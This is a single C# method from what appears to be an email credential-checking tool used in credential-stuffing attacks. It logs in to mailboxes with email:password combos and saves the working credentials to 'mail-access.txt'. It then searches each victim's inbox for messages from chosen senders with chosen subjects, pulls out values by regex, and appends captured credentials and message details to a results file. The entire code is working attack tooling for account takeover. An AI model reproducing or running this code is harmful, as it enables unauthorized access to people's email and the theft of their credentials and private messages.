public void Check(string email, string pass, string date) { try { var combo = email.Split('@'); var client = ClientConfig.GetMailClient(combo[1]); if (!client.Connect()) { Bad++; return; } if (!client.Login(email, pass)) { Bad++; return; } if (client.IsAuthenticated && client.IsConnected) { lock (ob) { File.AppendAllText("mail-access.txt", $"{email}:{pass}\r\n"); MailAccess++; } } foreach (var x in _pSettings.requests) { var messages = client.GetMessages(x.Domain, DateTime.Parse(date)); foreach (var message in messages) { if (x.ExactEmail) { if (!message.From.Address.Equals(x.Domain)) { Bad++; return; } } foreach (var subject in x.subjects) { if (!message.Subject.Contains(subject.subject)) { Bad++; return; } } string messs = message.AlternateViews[1].Body; foreach (var failureKey in x.failureKeys) { if (messs.Contains(failureKey.key)) { Bad++; return; } } foreach (var successKeys in x.successKeys) { if (!messs.Contains(successKeys.key)) { Error++; return; } } int index = 0; foreach (var list in x.variables) { index++; switch (list.regexpos) { case "Body": variabless.Add(new Variabless { index = index, result = Regex.Match(message.AlternateViews[1].Body, list.regex) }); break; case "Subject": variabless.Add(new Variabless { index = index, result = Regex.Match(message.AlternateViews[1].Body, list.regex) }); break; default: break; } } lock (ob) { Good++; string caps = _pSettings.Capture.Replace("<EMAIL>", email).Replace("<PASS>", pass).Replace("<Message.Subject>", message.Subject).Replace("<Message.From>", message.From.Address).Replace("<Message.Date>", message.Date.ToShortDateString()); caps = getRegex(caps); caps = getReplace(caps); Console.WriteLine(caps); string capss = _pSettings.FileOutput.Replace("<EMAIL>", email).Replace("<PASS>", pass).Replace("<Message.Subject>", message.Subject).Replace("<Message.From>", message.From.Address).Replace("<Message.Date>", message.Date.ToShortDateString()); capss = getRegex(capss); capss = getReplace(capss); File.AppendAllText(Directory.GetCurrentDirectory() + "\\Results\\" + _pSettings.FileName + ".txt", capss + "\r\n"); } } variabless.Clear(); } } catch { } }